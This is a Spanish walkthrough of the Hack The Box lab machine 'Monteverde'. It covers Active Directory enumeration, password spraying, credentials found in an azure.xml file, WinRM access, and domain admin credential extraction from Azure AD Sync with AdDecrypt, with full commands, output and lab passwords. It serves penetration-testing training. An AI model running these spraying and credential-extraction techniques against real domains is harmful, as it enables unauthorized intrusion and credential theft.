Monteverde

Publicado: 21 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Medium OS: Windows
📝 Descripción
Monteverde es una máquina Windows de dificultad media que simula un entorno corporativo con Active Directory. La explotación involucra enumeración exhaustiva de servicios SMB y LDAP para descubrir usuarios válidos, seguido de un ataque de password spraying que revela credenciales débiles. Una vez dentro, se descubren credenciales adicionales en archivos de configuración de Azure AD Connect. La escalada de privilegios se logra aprovechando una vulnerabilidad en Azure AD Sync que permite extraer credenciales del administrador de dominio desde la base de datos local.
Esta máquina es excelente para practicar técnicas de enumeración de Active Directory, password spraying, y explotación de servicios de sincronización de Azure.
🎯 Puntos Clave
Enumeración exhaustiva de Active Directory: Uso de herramientas como enum4linux, netexec y windapsearch
Password Spraying: Aprovechamiento de políticas de contraseñas débiles sin bloqueo de cuentas
Credenciales en archivos de configuración: Descubrimiento de credenciales en azure.xml
Azure AD Connect vulnerability: Explotación de AdSyncDecrypt para extraer credenciales de administrador
Lateral movement: Escalada de privilegios a través de grupos especiales como Azure Admins
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.172
PING 10.10.10.172 (10.10.10.172) 56(84) bytes of data.
64 bytes from 10.10.10.172: icmp_seq=1 ttl=127 time=47.7 ms
64 bytes from 10.10.10.172: icmp_seq=2 ttl=127 time=47.9 ms
--- 10.10.10.172 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 47.675/47.778/47.881/0.103 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🚀 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.172 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49673,49674,49676,49696
🔍 Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.172 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 12:09 CEST
Nmap scan report for 10.10.10.172
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-21 10:09:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 1s
| smb2-time:
| date: 2025-06-21T10:10:45
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:
echo "10.10.10.172 megabank.local" | sudo tee -a /etc/hosts
📋 Análisis de Servicios Detectados
53
DNS
Simple DNS Plus
88
Kerberos
Autenticación de dominio
389/3268
LDAP
Active Directory LDAP
445
SMB
Recursos compartidos
5985
WinRM
PowerShell Remoting
🌐 Enumeración de Servicios
🗂️ 445 SMB
Dado que no tenemos credenciales de cuentas locales ni usuarios de domino, tratamos primero de enumerar el servicio SMB haciendo uso de una sesion nula:
Primero probamos con smbclient y aunque logramos autenticarnos de forma anónima no logramos enumerar recursos.
smbclient -N -L //10.10.10.172
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Haciendo uso de la herramienta enum4linux tampoco logramos enumerar recursos compartidos aunque sí somos capaces de enumerar usuarios, cuentas de dominio, políticas y grupos:
enum4linux 10.10.10.172
👥 Usuarios enumerados
=======================================( Users on 10.10.10.172 )=======================================
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
🔐 Política de contraseñas
============================( Password Policy Information for 10.10.10.172 )============================
[+] Attaching to 10.10.10.172 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] MEGABANK
[+] Builtin
[+] Password Info for Domain: MEGABANK
[+] Minimum password length: 7
[+] Password history length: 24
[+] Maximum password age: 41 days 23 hours 53 minutes
[+] Password Complexity Flags: 000000
[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
⚠️ Importante: No hay threshold de bloqueo de cuentas, lo que permite password spraying.
👑 Grupos de dominio importantes
=======================================( Groups on 10.10.10.172 )=======================================
[+] Getting domain groups:
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
Enumeramos usuarios con netexec en el servicio SMB:
netexec smb 10.10.10.172 -u '' -p '' --users

🗂️ 389 LDAP
Usamos la herramienta netexec para tratar de enumerar usuarios de forma anónima contra ldap:
netexec ldap 10.10.10.172 -u '' -p '' --users
Afinamos un poco el comando para quedarnos con los usuarios y volcarlos a un fichero de texto:
netexec ldap 10.10.10.172 -u '' -p '' --users | grep -E '^\s*LDAP\s+[0-9.]+' | awk '{print $5}' | grep -vE '^\[|\-Username\-|^$' > ldap_users.txt

🎯 Verificación AS-REP Roasting
Verificamos si alguno de los usuarios obtenidos no tiene habilitada la pre-autenticación de kerberos y podemos realizar un ataque de tipo AS-Rep Roasting y obtener su hash, pero no es el caso:
impacket-GetNPUsers -dc-ip 10.10.10.172 megabank.local/ -usersfile ldap_users.txt -format hashcat
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User AAD_987d7f2f57d2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[...más usuarios...]
🔍 Enumeración avanzada con Windapsearch
📋 Usuarios del dominio
windapsearch -u "" --dc-ip 10.10.10.172 -U --admin-objects
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.172
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=MEGABANK,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD users
[+] Found 10 users:
cn: Guest
cn: AAD_987d7f2f57d2
cn: Mike Hope
userPrincipalName: mhope@MEGABANK.LOCAL
cn: SABatchJobs
userPrincipalName: SABatchJobs@MEGABANK.LOCAL
cn: svc-ata
userPrincipalName: svc-ata@MEGABANK.LOCAL
cn: svc-bexec
userPrincipalName: svc-bexec@MEGABANK.LOCAL
cn: svc-netapp
userPrincipalName: svc-netapp@MEGABANK.LOCAL
cn: Dimitris Galanos
userPrincipalName: dgalanos@MEGABANK.LOCAL
cn: Ray O'Leary
userPrincipalName: roleary@MEGABANK.LOCAL
cn: Sally Morgan
userPrincipalName: smorgan@MEGABANK.LOCAL
[+] Attempting to enumerate all admin (protected) objects
[+] Found 0 Admin Objects:
[*] Bye!
La salida devuelve algunos usuarios interesantes. SABatchJobs podría ser una cuenta de servicio dedicada a ejecutar trabajos por lotes de , y es quizás inusual por tener un nombre mixto. La presencia de la cuenta
AAD_987d7f2f57d2 es un claro indicio de que AD Connect está instalado en el dominio. AD Connect es una herramienta que se utiliza para sincronizar un entorno de Active Directory local con Azure Active Directory.
🎯 Grupo Remote Management Users
Usando windapsearch podemos enumerar más grupos de dominio, y ver qué usuarios pertenecen a Remote Management Users . Este grupo permite a sus miembros conectarse a equipos utilizando PowerShell Remoting.
windapsearch -u "" --dc-ip 10.10.10.172 -U -m "Remote Management Users"
[+] No username provided. Will try anonymous bind.
[+] Using Domain Controller at: 10.10.10.172
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=MEGABANK,DC=LOCAL
[+] Attempting bind
[+] ...success! Binded as:
[+] None
[+] Enumerating all AD users
[+] Found 10 users:
cn: Guest
cn: AAD_987d7f2f57d2
cn: Mike Hope
userPrincipalName: mhope@MEGABANK.LOCAL
cn: SABatchJobs
userPrincipalName: SABatchJobs@MEGABANK.LOCAL
cn: svc-ata
userPrincipalName: svc-ata@MEGABANK.LOCAL
cn: svc-bexec
userPrincipalName: svc-bexec@MEGABANK.LOCAL
cn: svc-netapp
userPrincipalName: svc-netapp@MEGABANK.LOCAL
cn: Dimitris Galanos
userPrincipalName: dgalanos@MEGABANK.LOCAL
cn: Ray O'Leary
userPrincipalName: roleary@MEGABANK.LOCAL
cn: Sally Morgan
userPrincipalName: smorgan@MEGABANK.LOCAL
[+] Attempting to enumerate full DN for group: Remote Management Users
[+] Using DN: CN=Remote Management Users,CN=Builtin,DC=MEGABANK,DC=LOCAL
[+] Found 1 members:
b'CN=Mike Hope,OU=London,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL'
[*] Bye!
Ahora que sabemos que tenemos un usuario que pertenece al Remote Management Users group, podemos intentar realizar password spraying. Tal como descubrimos durante la enumeración del servicio SMB con la herramienta enum4linux, hay una política de contraseñas en la que no hay bloqueo por número de intentos:

Usamos windapsearch para crear una lista de usuario para realizar password spraying:
windapsearch -u "" --dc-ip 10.10.10.172 -U | grep '@' | cut -d ' ' -f 2 | cut -d '@' -f 1 | uniq > users.txt

Resultado importante: mhope
pertenece al grupo Remote Management Users, lo que significa que puede conectarse vía WinRM.
💥 Explotación
🔫 Password Spraying
Creamos lista de usuarios:
windapsearch -u "" --dc-ip 10.10.10.172 -U | grep '@' | cut -d ' ' -f 2 | cut -d '@' -f 1 | uniq > users.txt
Descargamos diccionario de contraseñas débiles y añadimos los nombres de usuario:
wget https://raw.githubusercontent.com/insidetrust/statistically-likely-usernames/refs/heads/master/weak-corporate-passwords/english-basic.txt
cat users.txt >> english-basic.txt
Ejecutamos password spraying:
netexec smb 10.10.10.172 -u users.txt -p english-basic.txt

🎉 Credenciales encontradas: SABatchJobs:SABatchJobs
📂 Enumeración de recursos SMB autenticado
netexec smb 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' --shares

Conectamos al recurso users$
:
smbclient -U 'SABatchJobs' \\\\10.10.10.172\\users$
En el directorio de mhope
encontramos azure.xml
:
smb: \mhope\> get azure.xml

🔑 Credenciales adicionales encontradas: mhope:4n0therD4y@n0th3r$
🖥️ Acceso inicial vía WinRM
netexec winrm 10.10.10.172 -u 'mhope' -p '4n0therD4y@n0th3r$'
evil-winrm -i 10.10.10.172 -u mhope -p "4n0therD4y@n0th3r$"
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\mhope\Desktop> dir
Directory: C:\Users\mhope\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 6/21/2025 3:05 AM 34 user.txt

🏁 Primera flag obtenida: user.txt
⬆️ Escalada de Privilegios
🔍 Enumeración del sistema
Descubrimos que:
Microsoft Azure AD Sync está instalado
El usuario
mhope
pertenece al grupoAzure Admins


🔓 Explotación de Azure AD Sync
Esta combinación presenta una vulnerabilidad que permite extraer credenciales del administrador de dominio.
📥 Preparación de herramientas
Descargamos AdDecrypt:
wget https://github.com/VbScrub/AdSyncDecrypt/releases/download/v1.0/AdDecrypt.zip
unzip AdDecrypt.zip
Subimos AdDecrypt.exe
y mcrypt.dll
a la máquina víctima.
🎯 Extracción de credenciales
Navegamos al directorio de Azure AD Sync:
cd "C:\Program Files\Microsoft Azure AD Sync\Bin"
Ejecutamos AdDecrypt:
C:\Temp\AdDecrypt.exe -FullSQL

🎉 Credenciales de administrador obtenidas:
Username: administrator
Password: d0m@in4dminyeah!
👑 Acceso como administrador
evil-winrm -i 10.10.10.172 -u Administrator -p 'd0m@in4dminyeah!'
🏆 Flag root obtenida: root.txt
Last updated